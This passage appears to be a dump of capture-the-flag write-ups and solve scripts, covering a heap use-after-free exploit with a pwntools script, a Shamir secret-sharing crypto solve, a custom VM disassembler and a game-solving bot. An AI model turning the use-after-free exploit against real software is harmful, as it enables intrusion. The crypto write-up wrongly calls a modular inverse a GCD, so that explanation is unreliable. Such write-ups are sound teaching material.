71 | # if out of bounds 72 | if curX < 0 or curX >= len(G[0]) or curY < 0 or curY >= len(G): 73 | return 9999 74 | 75 | cur = G[curY][curX] 76 | 77 | # if stepping on fire or mine 78 | if cur == 'F' or cur == 'B': 79 | return 9999 80 | 81 | # finally reached the diamond, exit recursion 82 | if cur == 'D': 83 | sol.append(path) 84 | return 0 85 | 86 | left = 9999 87 | right = 9999 88 | down = 9999 89 | 90 | # try right 91 | if orig != 'l': 92 | left = solve(G, curX - 1, curY, 'r', path + 'L') 93 | 94 | # try left 95 | if orig != 'r': 96 | right = solve(G, curX + 1, curY, 'l', path + 'R') 97 | 98 | # try down 99 | down = solve(G, curX, curY + 1, 'u', path + 'D') 100 | 101 | # return shortest path of above three 102 | return min(left, right, down) + 1 103 | 104 | 105 | minpath = solve(game, initX, initY, 'u', '') 106 | print(sol) 107 | conn.sendline(sol[0]) 108 | 109 | diamonds = diamonds + 1 110 | wrenches = wrenches + minpath 111 | if diamonds >= 500 and wrenches >= 5000: 112 | break 113 | 114 | print(conn.recvline()) 115 | print(conn.recvline()) 116 | 117 | conn.interactive() -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/README.md: -------------------------------------------------------------------------------- 1 | # Arachnoid Heaven 2 | 3 | ## tl;dr 4 | 5 | C program that alocates and deletes objects with a dangling pointer vulnerability that allows for value modification 6 | 7 | ## Initial Execution 8 | 9 | We connect to the server with netcat for some initial analysis. We can see that we can create, delete, view or obtain arachnoids. 10 | 11 | We create and view one: 12 | 13 | ![Craft](img/craft_live.png) 14 | 15 | However, we try to delete the one we just made and then view it: 16 | 17 | ![Dangling](img/dangling.png) 18 | 19 | We have a pretty obvious dangling pointer here. We deleted the arachnoid, the strings were freed, but for some reason the actual arachnoid object is still there... Let's analyze in IDA: 20 | 21 | ## Analysis 22 | 23 | ![Craft](img/craft.png) 24 | 25 | Crafting is pretty straight forward. We allocated space for 2 pointers, then allocate those 2 pointers to point to two strings, the first being the name and the second one being the code. We see that the code is set to "bad" by default. 26 | 27 | Let's move on to delete: 28 | 29 | ![Delete](img/delete.png) 30 | 31 | We see that we free the 2 strings, but we don't actually free the area containing the strings or atleast reduce the arachnoid count by 1, so the object remains there cointaining two freed (dangling) pointers. 32 | 33 | Let's move to obtain: 34 | 35 | ![Obtain](img/obtain.png) 36 | 37 | We see that we can get the flag if we make one of the arachnoids contain the code "sp1d3y". The exploit is pretty clear here, let's explain it: 38 | 39 | ## Exploit 40 | 41 | Let's take a dive into some C theory first: 42 | 43 | When malloc is called, the C memory manager looks into what we call the "free list" first. This list contains previously allocated parts of memory using malloc that have now been freed. This way, those parts can be "recycled" into the new ones we need, if they're the same size ofcourse. 44 | 45 | Let's assume that we have created an arachnoid. We then delete that arachnoid. With the deletion the following free's are called: 46 | 47 | ![Free](img/free_exploit.png) 48 | 49 | Both these strins are the same size, so they're going to be placed in the same free list. When the first free gets called, the free list will look something like this: 50 | 51 | ![Free List](img/free_list_1.png) 52 | 53 | However, after the second free, the free list will look something like this: 54 | ![Free List](img/free_list_2.png) 55 | 56 | This is because free list follows LIFO(Last In First Out), so the last deallocated memory location will be the first one to be next allocated. This is obviously a problem in this implementation. 57 | 58 | If we now create an arachnoid, the malloc's will go in this order: 59 | 60 | ![Malloc](img/malloc_exploit.png) 61 | 62 | We can ignore the first one as it's not the same size. However, the first malloc will pick the first node off the free list. In our case this will be the old code string. The second one, will be the old name string. 63 | 64 | What has happened here is that the new arachnoid has the code of the last arachnoid as name, and the name of the last arachnoid as code. The exploit is pretty clear here: 65 | 66 | If we create an arachnoid, delete it, and then create an arachnoid with the name "sp1d3y", the first arachnoid's dangling pointer to it's code will be the pointer to the new arachnoid's name. This will make the first arachnoid's code be "sp1d3y". Let's write an exploit for this: 67 | 68 | ```python 69 | # solve.py 70 | from pwn import * 71 | 72 | conn = remote('64.227.36.32', '31174') 73 | 74 | def getl(): 75 | return conn.recv().decode('utf-8') 76 | 77 | # create first 78 | print(getl()) 79 | conn.sendline(b'1') 80 | print(getl()) 81 | conn.sendline(b'sp1d3y') 82 | 83 | # delete first 84 | print(getl()) 85 | conn.sendline(b'2') 86 | print(getl()) 87 | conn.sendline(b'0') 88 | 89 | # create second 90 | print(getl()) 91 | conn.sendline(b'1') 92 | print(getl()) 93 | conn.sendline(b'sp1d3y' + b'\0' + b'aa') 94 | 95 | # get 96 | print(getl()) 97 | conn.sendline(b'4') 98 | print(getl()) 99 | conn.sendline(b'0') 100 | 101 | conn.interactive() 102 | ``` 103 | 104 | ## Flag 105 | 106 | Running the exploit: 107 | 108 | ![Flag](img/flag.png) -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Space Pirates 3 | 4 | ## tl;dr 5 | 6 | Exploiting a flaw in Shamir's Encryption when a share and the calculation of the coefficients is known, into decryption of an afine cipher 7 | 8 | ## Analysis 9 | 10 | Shamir's Secret Sharing (SSS) is used to secure a secret in a distributed way, most often to secure other encryption keys. The secret is split into multiple parts, called shares. These shares are used to reconstruct the original secret. 11 | 12 | Basically a polynomial is created using random coefficients, and shares are created for x = 0, x = 1 etc. 13 | 14 | In our case, we can see that the first coefficient is the secret and that it's randomly generated: 15 | 16 | ![Logi](img/first_coeff.png) 17 | 18 | However, we're also given the second coefficient at the encrypted file: 19 | 20 | ![Logi](img/enc.png) 21 | 22 | We can also see the way of calculating the next coefficients. Basically, coefficient[i + 1] = MD5(coefficient[i]), so this is somewhat of a MD5 chain: 23 | 24 | ![Logi](img/next_coeff.png) 25 | 26 | Clearly, we can tell that the second coefficient that we are given is the MD5 of the secret. Sadly this is not reversible. 27 | 28 | ## Breaking The Secret 29 | 30 | Knowing the second coefficient, however, we can calculate every other coefficient using MD5. We can see that n is set to 10, so we only need to calculate the 9 first coefficients as we don't know the secret. 31 | 32 | 33 | Therefore, we will have an equation of something like: 34 | 35 | y = (coeff[0]x^0 + coeff[1]x^1 + coeff[2]x^3 + ... + coeff[9]x^9) % m 36 | 37 | However, we know that coeff[0] is the secret, so this becomes something like: 38 | 39 | y = (secret + coeff[1]x^1 + coeff[2]x^3 + ... + coeff[9]x^9) % m 40 | 41 | Gets more clear now, right? We also have a pair of y and x. That pair tells us that if we put x = 21202245407317581090 in that polynomial, the output will be y = 11086299714260406068. 42 | 43 | So let's sum up. We know y given x, we know m and we also know all coefficients other than secret. This means that coeff[1]x^1 + coeff[2]x^3 + ... + coeff[9]x^9 is known to us. Let's call that entire thing b. Summing up we have: 44 | 45 | y = (secret + b) % m 46 | 47 | This can be rewritten as: 48 | 49 | y = (1secret + b) % m 50 | 51 | We know that an affine cipher of type: 52 | 53 | y = (ax + b) % m 54 | 55 | can be decrypted as: 56 | 57 | x = (a^-1)*(y - b) 58 | 59 | where a^-1 is the GCD(a, m). Because a = 1, the GCD will be equal to 1. Therefore, it will look like this: 60 | 61 | x = y - b 62 | 63 | ## Solvescript 64 | 65 | We assemble a python script 66 | 67 | ```py 68 | # solve.py 69 | import base64 70 | from Crypto import Random 71 | from Crypto.Cipher import AES 72 | from random import randint, randbytes,seed 73 | from hashlib import md5 74 | import math 75 | 76 | def next_coeff(val): 77 | return int(md5(val.to_bytes(32, byteorder="big")).hexdigest(),16) 78 | 79 | def calc_coeffs(init_coeff, coeffs): 80 | for i in range(8): 81 | coeffs.append(next_coeff(coeffs[i])) 82 | 83 | def rev_secret(init_coeff, init_x, init_y, p): 84 | coeffs = [init_coeff] 85 | calc_coeffs(init_coeff, coeffs) 86 | # init_y = (secret + coeffs[1] * init_x + coeffs[2] * init_x^1 + ... + coeffs[9] * init_x^9) % P 87 | sum = 0 88 | 89 | for i in range(len(coeffs)): 90 | init_y -= coeffs[i] * (init_x ** (i + 1)) 91 | 92 | GCD = math.gcd(p, 1) 93 | secret = (GCD * (init_y)) % p 94 | return secret 95 | 96 | secret = rev_secret(93526756371754197321930622219489764824, 21202245407317581090, 11086299714260406068, 92434467187580489687) 97 | 98 | enc = '1aaad05f3f187bcbb3fb5c9e233ea339082062fc10a59604d96bcc38d0af92cd842ad7301b5b72bd5378265dae0bc1c1e9f09a90c97b35cfadbcfe259021ce495e9b91d29f563ae7d49b66296f15e7999c9e547fac6f1a2ee682579143da511475ea791d24b5df6affb33147d57718eaa5b1b578230d97f395c458fc2c9c36525db1ba7b1097ad8f5df079994b383b32695ed9a372ea9a0eb1c6c18b3d3d43bd2db598667ef4f80845424d6c75abc88b59ef7c119d505cd696ed01c65f374a0df3f331d7347052faab63f76f587400b6a6f8b718df1db9cebe46a4ec6529bc226627d39baca7716a4c11be6f884c371b08d87c9e432af58c030382b737b9bb63045268a18455b9f1c4011a984a818a5427231320ee7eca39bdfe175333341b7c' 99 | 100 | seed(secret) 101 | key = randbytes(16) 102 | cipher = AES.new(key, AES.MODE_ECB) 103 | enc_FLAG = cipher.decrypt(bytes.fromhex(enc)).decode("ascii") 104 | print(enc_FLAG) 105 | ``` 106 | 107 | ## Flag 108 | 109 | Running the script: 110 | 111 | ![Flag](img/flag.png) 112 | -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/README.md: -------------------------------------------------------------------------------- 1 | # Insane Bolt 2 | 3 | ## tl;dr 4 | 5 | A game where we have to find the shortest path to the diamond without touching the mines, and do it 500 times 6 | 7 | ## Initial Execution 8 | 9 | Connecting to the server with netcat, we see the following: 10 | 11 | ![Instructions](img/instructions.png) 12 | 13 | The instructions are pretty clear. We get the board and we have to reach the diamond in the shortest path possible. We have to collect 500 diamonds so obviously we have to run this 500 times. Let's try the game out: 14 | 15 | ![First](img/first.png) 16 | 17 | We attempt to solve the first game: 18 | 19 | ![Second](img/second.png) 20 | 21 | And this will continue on for 500 times. Let's use python instead of writing this by hand: 22 | 23 | ```python 24 | # solve.py 25 | from pwn import * 26 | 27 | # define emote hexs 28 | PLAYER = b'\xf0\x9f\xa4\x96' 29 | FIRE = b'\xf0\x9f\x94\xa5' 30 | MINE = b'\xe2\x98\xa0\xef\xb8\x8f' 31 | WRENCH = b'\xf0\x9f\x94\xa9' 32 | DIAMOND = b'\xf0\x9f\x92\x8e' 33 | 34 | 35 | conn = remote('167.172.51.245', '30766') 36 | 37 | print(conn.recvuntil('> ')) 38 | 39 | conn.send(b'2\n') 40 | 41 | diamonds = 0 42 | wrenches = 0 43 | 44 | # run game loop 45 | while True: 46 | given = conn.recvuntil('> ') 47 | 48 | # parse game board 49 | game_parse = [] 50 | lines = given.split(b'\n') 51 | initX = 0 52 | initY = 0 53 | i = -1 54 | j = 0 55 | for l in lines: 56 | ll = '' 57 | line = [] 58 | emojis = l.split(b' ') 59 | j = 0 60 | 61 | # parse emotes in current line 62 | for e in emojis: 63 | if e == FIRE: 64 | line.append('F') 65 | elif e == MINE: 66 | line.append('B') 67 | elif e == WRENCH: 68 | line.append('W') 69 | elif e == PLAYER: 70 | line.append('P') 71 | initX = j 72 | initY = i 73 | elif e == DIAMOND: 74 | line.append('D') 75 | else: 76 | j = j - 1 77 | j = j + 1 78 | game_parse.append(line) 79 | i = i + 1 80 | 81 | # remove empty arrays 82 | game = [x for x in game_parse if x != []] 83 | for l in game: 84 | ll = '' 85 | for e in l: 86 | ll = ll + e + ' ' 87 | print(ll) 88 | 89 | sol = [] 90 | print('MaxX : ' + str(len(game[0])) + ' MaxY: ' + str(len(game))) 91 | 92 | # solve current board 93 | def solve(G, curX, curY, orig, path): 94 | # if out of bounds 95 | if curX < 0 or curX >= len(G[0]) or curY < 0 or curY >= len(G): 96 | return 9999 97 | 98 | cur = G[curY][curX] 99 | 100 | # if stepping on fire or mine 101 | if cur == 'F' or cur == 'B': 102 | return 9999 103 | 104 | # finally reached the diamond, exit recursion 105 | if cur == 'D': 106 | sol.append(path) 107 | return 0 108 | 109 | left = 9999 110 | right = 9999 111 | down = 9999 112 | 113 | # try right 114 | if orig != 'l': 115 | left = solve(G, curX - 1, curY, 'r', path + 'L') 116 | 117 | # try left 118 | if orig != 'r': 119 | right = solve(G, curX + 1, curY, 'l', path + 'R') 120 | 121 | # try down 122 | down = solve(G, curX, curY + 1, 'u', path + 'D') 123 | 124 | # return shortest path of above three 125 | return min(left, right, down) + 1 126 | 127 | 128 | minpath = solve(game, initX, initY, 'u', '') 129 | print(sol) 130 | conn.sendline(sol[0]) 131 | 132 | diamonds = diamonds + 1 133 | wrenches = wrenches + minpath 134 | if diamonds >= 500 and wrenches >= 5000: 135 | break 136 | 137 | print(conn.recvline()) 138 | print(conn.recvline()) 139 | 140 | conn.interactive() 141 | ``` 142 | 143 | Hopefully the comments are self explanatory, but in short: 144 | 145 | 1. We parse the current game board 146 | 2. We start at the player starting point 147 | 3. For each block we are on, we recursively check all adjacent blocks 148 | 4. If the block we are checking right now is either out of bounds or a mine/fire, we return 9999 to mark that path as very long 149 | 4. Once the diamond is reached, we return 0 and compare all paths, returning the shortest 150 | 5. Once the board is solved, send the solution and increase number of collected diamonds and wrenches 151 | 6. Jump to 1 till we have atleast 500 diamonds and 5000 wrenches 152 | 153 | After solving 500 of them, we get the following: 154 | 155 | ![Flag](img/flag.png) -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/chall.disassembled: -------------------------------------------------------------------------------- 1 | 0x0: MVI A 2 2 | 0x1: JMR A 3 | 0x2: MVI D 75 4 | 0x3: AUI D 0 5 | 0x4: CAL D (0x4b) 6 | 0x5: MVI A 30 7 | 0x6: AUI A 1 8 | 0x7: LDR C 0x0[A] 9 | 0x8: MVI A 31 10 | 0x9: AUI A 1 11 | 0xa: LDR A 0x0[A] 12 | 0xb: MVI D 27 13 | 0xc: AUI D 0 14 | 0xd: GTE A C D 15 | 0xe: MVI D 156 16 | 0xf: AUI D 0 17 | 0x10: CAL D (0x9c) unnamed_2(); 18 | 0x11: MVI D 211 19 | 0x12: AUI D 0 20 | 0x13: CAL D (0xd3) unnamed_3(); 21 | 0x14: MVR C C 1 22 | 0x15: MVI A 30 23 | 0x16: AUI A 1 24 | 0x17: STR C 0x0[A] 25 | 0x18: MVI D 5 26 | 0x19: AUI D 0 27 | 0x1a: JMR A 28 | 0x1b: MVI A 29 29 | 0x1c: AUI A 1 30 | 0x1d: MVI B 0 31 | 0x1e: AUI B 0 32 | 0x1f: STR B 0x0[A] 33 | 0x20: MVI A 29 34 | 0x21: AUI A 1 35 | 0x22: LDR C 0x0[A] 36 | 0x23: MVI A 27 37 | 0x24: AUI A 1 38 | 0x25: LDR A 0x0[A] 39 | 0x26: MVI D 67 40 | 0x27: AUI D 0 41 | 0x28: GTE A C D 42 | 0x29: MVI A 191 43 | 0x2a: AUI A 1 44 | 0x2b: ADD A C 45 | 0x2c: LDR A 0x0[A] 46 | 0x2d: MVI B 85 47 | 0x2e: AUI B 1 48 | 0x2f: ADD B C 49 | 0x30: LDR B 0x0[B] 50 | 0x31: MVI D 59 51 | 0x32: AUI D 0 52 | 0x33: NEQ B A D 53 | 0x34: MVR C C 1 54 | 0x35: MVI A 29 55 | 0x36: AUI A 1 56 | 0x37: STR C 0x0[A] 57 | 0x38: MVI D 32 58 | 0x39: AUI D 0 59 | 0x3a: JMR A 60 | 0x3b: MVI A 0 61 | 0x3c: AUI A 0 62 | 0x3d: MVI B 7 63 | 0x3e: AUI B 2 64 | 0x3f: MVI C 4 65 | 0x40: AUI C 0 66 | 0x41: SYS 67 | 0x42: HALT 68 | 0x43: MVI A 0 69 | 0x44: AUI A 0 70 | 0x45: MVI B 254 71 | 0x46: AUI B 1 72 | 0x47: MVI C 4 73 | 0x48: AUI C 0 74 | 0x49: SYS 75 | 0x4a: HALT 76 | 77 | -- Function unnamed_1 -- 78 | 0x4b: PSH A 79 | 0x4c: PSH B 80 | 0x4d: PSH C 81 | 0x4e: PSH D 82 | 0x4f: MVI B 28 83 | 0x50: AUI B 1 84 | 0x51: LDR B 0x0[B] 85 | 0x52: MVI A 27 86 | 0x53: AUI A 1 87 | 0x54: LDR A 0x0[A] 88 | 0x55: MVI D 151 89 | 0x56: AUI D 0 90 | 0x57: GTE A B D 91 | 0x58: MVI A 0 92 | 0x59: AUI A 0 93 | 0x5a: MVI B 244 94 | 0x5b: AUI B 1 95 | 0x5c: MVI C 4 96 | 0x5d: AUI C 0 97 | 0x5e: SYS 98 | 0x5f: MVI A 0 99 | 0x60: AUI A 0 100 | 0x61: MVI B 28 101 | 0x62: AUI B 1 102 | 0x63: LDR B 0x0[B] 103 | 0x64: MVI C 0 104 | 0x65: AUI C 0 105 | 0x66: SYS 106 | 0x67: MVI A 0 107 | 0x68: AUI A 0 108 | 0x69: MVI B 250 109 | 0x6a: AUI B 1 110 | 0x6b: MVI C 4 111 | 0x6c: AUI C 0 112 | 0x6d: SYS 113 | 0x6e: MVI A 1 114 | 0x6f: AUI A 0 115 | 0x70: MVI C 0 116 | 0x71: AUI C 0 117 | 0x72: SYS 118 | 0x73: MVI D 110 119 | 0x74: AUI D 0 120 | 0x75: MVR A B 0 121 | 0x76: MVI B 1 122 | 0x77: AUI B 0 123 | 0x78: LT B A D 124 | 0x79: MVI B 85 125 | 0x7a: AUI B 1 126 | 0x7b: MVI C 28 127 | 0x7c: AUI C 1 128 | 0x7d: LDR C 0x0[C] 129 | 0x7e: ADD B C 130 | 0x7f: STR A 0x0[B] 131 | 0x80: MVR B A 0 132 | 0x81: MVI A 0 133 | 0x82: AUI A 0 134 | 0x83: MVI C 3 135 | 0x84: AUI C 0 136 | 0x85: SYS 137 | 0x86: MVI A 0 138 | 0x87: AUI A 0 139 | 0x88: MVI B 10 140 | 0x89: AUI B 0 141 | 0x8a: MVI C 3 142 | 0x8b: AUI C 0 143 | 0x8c: SYS 144 | 0x8d: MVI A 28 145 | 0x8e: AUI A 1 146 | 0x8f: LDR A 0x0[A] 147 | 0x90: MVR A A 1 148 | 0x91: MVI B 28 149 | 0x92: AUI B 1 150 | 0x93: STR A 0x0[B] 151 | 0x94: MVI D 79 152 | 0x95: AUI D 0 153 | 0x96: JMR A 154 | 0x97: POP D 155 | 0x98: POP C 156 | 0x99: POP B 157 | 0x9a: POP A 158 | 0x9b: RET 159 | 160 | -- Function unnamed_2 -- 161 | 0x9c: PSH A 162 | 0x9d: PSH B 163 | 0x9e: PSH C 164 | 0x9f: PSH D 165 | 0xa0: MVI A 29 166 | 0xa1: AUI A 1 167 | 0xa2: MVI B 0 168 | 0xa3: AUI B 0 169 | 0xa4: STR B 0x0[A] 170 | 0xa5: MVI A 29 171 | 0xa6: AUI A 1 172 | 0xa7: LDR C 0x0[A] 173 | 0xa8: MVI A 27 174 | 0xa9: AUI A 1 175 | 0xaa: LDR A 0x0[A] 176 | 0xab: MVI D 206 177 | 0xac: AUI D 0 178 | 0xad: GTE A C D 179 | 0xae: MVI A 85 180 | 0xaf: AUI A 1 181 | 0xb0: ADD A C 182 | 0xb1: LDR A 0x0[A] 183 | 0xb2: MVR B A 0 184 | 0xb3: MVI A 32 185 | 0xb4: AUI A 1 186 | 0xb5: ADD A C 187 | 0xb6: LDR D 0x0[A] 188 | 0xb7: MVI A 85 189 | 0xb8: AUI A 1 190 | 0xb9: ADD A D 191 | 0xba: LDR D 0x0[A] 192 | 0xbb: MVI A 85 193 | 0xbc: AUI A 1 194 | 0xbd: ADD A C 195 | 0xbe: STR D 0x0[A] 196 | 0xbf: MVI A 32 197 | 0xc0: AUI A 1 198 | 0xc1: ADD A C 199 | 0xc2: LDR D 0x0[A] 200 | 0xc3: MVI A 85 201 | 0xc4: AUI A 1 202 | 0xc5: ADD A D 203 | 0xc6: STR B 0x0[A] 204 | 0xc7: MVR C C 1 205 | 0xc8: MVI A 29 206 | 0xc9: AUI A 1 207 | 0xca: STR C 0x0[A] 208 | 0xcb: MVI D 165 209 | 0xcc: AUI D 0 210 | 0xcd: JMR A 211 | 0xce: POP D 212 | 0xcf: POP C 213 | 0xd0: POP B 214 | 0xd1: POP A 215 | 0xd2: RET 216 | 217 | -- Function unnamed_3 -- 218 | 0xd3: PSH A 219 | 0xd4: PSH B 220 | 0xd5: PSH C 221 | 0xd6: PSH D 222 | 0xd7: MVI A 29 223 | 0xd8: AUI A 1 224 | 0xd9: MVI B 0 225 | 0xda: AUI B 0 226 | 0xdb: STR B 0x0[A] 227 | 0xdc: MVI A 29 228 | 0xdd: AUI A 1 229 | 0xde: LDR C 0x0[A] 230 | 0xdf: MVI A 27 231 | 0xe0: AUI A 1 232 | 0xe1: LDR A 0x0[A] 233 | 0xe2: MVI D 22 234 | 0xe3: AUI D 1 235 | 0xe4: GTE A C D 236 | 0xe5: MVI A 29 237 | 0xe6: AUI A 1 238 | 0xe7: LDR A 0x0[A] 239 | 0xe8: MVI B 30 240 | 0xe9: AUI B 1 241 | 0xea: LDR B 0x0[B] 242 | 0xeb: ADD A B 243 | 0xec: MVI B 11 244 | 0xed: AUI B 0 245 | 0xee: ADD A B 246 | 0xef: MVR D A 0 247 | 0xf0: MVI B 27 248 | 0xf1: AUI B 1 249 | 0xf2: LDR B 0x0[B] 250 | 0xf3: DIV A B 251 | 0xf4: MVI B 27 252 | 0xf5: AUI B 1 253 | 0xf6: LDR B 0x0[B] 254 | 0xf7: MUL A B 255 | 0xf8: SUB D A 256 | 0xf9: MVI A 138 257 | 0xfa: AUI A 1 258 | 0xfb: ADD A D 259 | 0xfc: LDR A 0x0[A] 260 | 0xfd: MVI B 85 261 | 0xfe: AUI B 1 262 | 0xff: MVI D 29 263 | 0x100: AUI D 1 264 | 0x101: LDR D 0x0[D] 265 | 0x102: ADD B D 266 | 0x103: LDR B 0x0[B] 267 | 0x104: ADD A B 268 | 0x105: MVI B 255 269 | 0x106: AUI B 0 270 | 0x107: AND A B 271 | 0x108: MVI B 85 272 | 0x109: AUI B 1 273 | 0x10a: MVI D 29 274 | 0x10b: AUI D 1 275 | 0x10c: LDR D 0x0[D] 276 | 0x10d: ADD B D 277 | 0x10e: STR A 0x0[B] 278 | 0x10f: MVR C C 1 279 | 0x110: MVI A 29 280 | 0x111: AUI A 1 281 | 0x112: STR C 0x0[A] 282 | 0x113: MVI D 220 283 | 0x114: AUI D 0 284 | 0x115: JMR A 285 | 0x116: POP D 286 | 0x117: POP C 287 | 0x118: POP B 288 | 0x119: POP A 289 | 0x11a: RET -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/disassemble.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | class bcolors: 4 | HEADER = '\033[95m' 5 | OKBLUE = '\033[94m' 6 | OKCYAN = '\033[96m' 7 | OKGREEN = '\033[92m' 8 | WARNING = '\033[93m' 9 | FAIL = '\033[91m' 10 | ENDC = '\033[0m' 11 | BOLD = '\033[1m' 12 | UNDERLINE = '\033[4m' 13 | 14 | constants = { 15 | 'INSTRUCTIONS': [ 16 | 'MVR', 17 | 'MVV', 18 | 'LDR', 19 | 'STA', 20 | 'ATH', 21 | 'CAL', 22 | 'JCP', 23 | 'PSH', 24 | 'POP', 25 | 'JMP', 26 | 'JMR', 27 | 'LDA', 28 | 'STR', 29 | 'NOA' 30 | ], 31 | 'REGISTERS': [ 32 | 'A', 33 | 'B', 34 | 'C', 35 | 'D' 36 | ], 37 | 'ARITHMETIC': [ 38 | 'ADD', 39 | 'SUB', 40 | 'MUL', 41 | 'DIV', 42 | 'INC', 43 | 'DEC', 44 | 45 | 'LSF', 46 | 'RSF', 47 | 'AND', 48 | 'OR', 49 | 'XOR', 50 | 'NOT' 51 | ], 52 | 'MOVE': [ 53 | 'MVI', 54 | 'ADI', 55 | 'MUI', 56 | 'AUI' 57 | ], 58 | 'SYSOPS': [ 59 | 'NOP', 60 | 'RET', 61 | 'SYS', 62 | 'HALT' 63 | ], 64 | 'JUMP': [ 65 | 'EQ', 66 | 'NEQ', 67 | 'LT', 68 | 'GT', 69 | 'LTE', 70 | 'GTE', 71 | 'ZER', 72 | 'NZE' 73 | ] 74 | } 75 | 76 | registers = { 77 | 'A': 0, 78 | 'B': 0, 79 | 'C': 0, 80 | 'D': 0 81 | } 82 | 83 | sBinary = open('chall.bin', 'rb').read() 84 | print(len(sBinary)) 85 | 86 | lFuncCounter = 1 87 | lLastFuncOffset = 0 88 | fFunctions = {} 89 | 90 | for lIter in range(0, math.floor(len(sBinary)), 2): 91 | lInstrOffset = math.floor(lIter / 2) 92 | iBitInstr = bin(sBinary[lIter+1])[2:].zfill(8) + bin(sBinary[lIter])[2:].zfill(8) 93 | 94 | iOpCode = int(iBitInstr[12:16], 2) 95 | sOpCode = constants['INSTRUCTIONS'][iOpCode] 96 | 97 | # Registers 98 | rDest = int(iBitInstr[10:12], 2) 99 | 100 | if sOpCode == 'ATH': 101 | iOperation = int(iBitInstr[4:8], 2) 102 | bShiftVal = int(iBitInstr[:3], 2) 103 | rSrc = int(iBitInstr[8:10], 2) 104 | mMode = int(iBitInstr[3], 2) 105 | 106 | if mMode == 1: 107 | sOutInstr = f"{hex(lInstrOffset)}: {constants['ARITHMETIC'][iOperation]} {constants['REGISTERS'][rSrc]} {constants['REGISTERS'][rDest]}" 108 | else: 109 | sOutInstr = f"{hex(lInstrOffset)}: {constants['ARITHMETIC'][iOperation]} {constants['REGISTERS'][rDest]} {constants['REGISTERS'][rSrc]}" 110 | 111 | elif sOpCode == 'CAL': 112 | 113 | fFunctions[lLastFuncOffset] = f"unnamed_{lFuncCounter}" 114 | lFuncCounter += 1 115 | sOutInstr = f"{hex(lInstrOffset)}: {bcolors.OKCYAN}{constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {bcolors.ENDC}{bcolors.OKGREEN}({hex(lLastFuncOffset)}){bcolors.ENDC}" 116 | elif sOpCode == 'MVV': 117 | iOperation = int(iBitInstr[8:10], 2) 118 | sOperation = constants['MOVE'][iOperation] 119 | rValue = int(iBitInstr[:8], 2) 120 | 121 | if sOperation == 'MVI': 122 | lLastFuncOffset = rValue 123 | 124 | sOutInstr = f"{hex(lInstrOffset)}: {sOperation} {constants['REGISTERS'][rDest]} {rValue}" 125 | elif sOpCode == 'JMR': 126 | rSrc = int(iBitInstr[8:10], 2) 127 | 128 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rSrc]}" 129 | elif sOpCode == 'NOA': 130 | iOperation = int(iBitInstr[8:12], 2) 131 | sOperation = constants['SYSOPS'][iOperation] 132 | 133 | sOutInstr = f"{hex(lInstrOffset)}: {bcolors.HEADER}{constants['SYSOPS'][iOperation]}{bcolors.ENDC}" 134 | elif sOpCode == 'PSH': 135 | rSrc = int(iBitInstr[8:10], 2) 136 | 137 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rSrc]}" 138 | elif sOpCode == 'POP': 139 | 140 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]}" 141 | elif sOpCode == 'LDA': 142 | lAddr = hex(int(iBitInstr[:10], 2)) 143 | 144 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {lAddr}" 145 | elif sOpCode == 'LDR': 146 | rSrc = int(iBitInstr[8:10], 2) 147 | lOffset = hex(int(iBitInstr[:8], 2)) 148 | 149 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {bcolors.OKGREEN}{lOffset}{bcolors.ENDC}[{rSrc}]" 150 | elif sOpCode == 'JCP': 151 | iOperation = int(iBitInstr[3:6], 2) 152 | rSrc = int(iBitInstr[8:10], 2) 153 | lAddr = int(iBitInstr[6:8], 2) 154 | 155 | sOutInstr = f"{hex(lInstrOffset)}: {constants['JUMP'][iOperation]} {constants['REGISTERS'][rSrc]} {constants['REGISTERS'][rDest]} {constants['REGISTERS'][lAddr]}" 156 | elif sOpCode == 'MVR': 157 | rSrc = int(iBitInstr[8:10], 2) 158 | vValue = int(iBitInstr[:8], 2) 159 | 160 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rDest]} {constants['REGISTERS'][rSrc]} {vValue}" 161 | elif sOpCode == 'STR': 162 | rSrc = int(iBitInstr[8:10], 2) 163 | lOffset = hex(int(iBitInstr[:8], 2)) 164 | 165 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]} {constants['REGISTERS'][rSrc]} {bcolors.OKGREEN}{lOffset}{bcolors.ENDC}[{constants['REGISTERS'][rDest]}]" 166 | else: 167 | sOutInstr = f"{hex(lInstrOffset)}: {constants['INSTRUCTIONS'][iOpCode]}" 168 | 169 | if(lInstrOffset in fFunctions): 170 | print(f"\n{bcolors.WARNING}-- Function {fFunctions[lInstrOffset]} --{bcolors.ENDC}") 171 | print(sOutInstr) -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/README.md: -------------------------------------------------------------------------------- 1 | # Babyrev 2 | 3 | ## tl;dr 4 | 5 | Simple flag encryption 6 | 7 | ## Analysis 8 | 9 | We get given a ELF binary called babyrev. As always, we first try to run it and see the initial behavior: 10 | 11 | ![Run](img/initial.png) 12 | 13 | Seems like it asks for a username and password. Let's not waste time guessing and jump straight into static analysis with IDA. 14 | 15 | ## Reversing the User Name 16 | 17 | We load the binary in IDA and take a look at the main function: 18 | 19 | ![IDA-Main](img/ida_main.png) 20 | 21 | We can instantly spot the first check here: 22 | 23 | ```c 24 | if (strcmp(s1, "bossbaby")) 25 | { 26 | printf("%s? I don't know you... stranger danger...", s1); 27 | exit(0); 28 | } 29 | puts("You're almost there!"); 30 | ``` 31 | 32 | Since ```s1``` is read as the username, we can 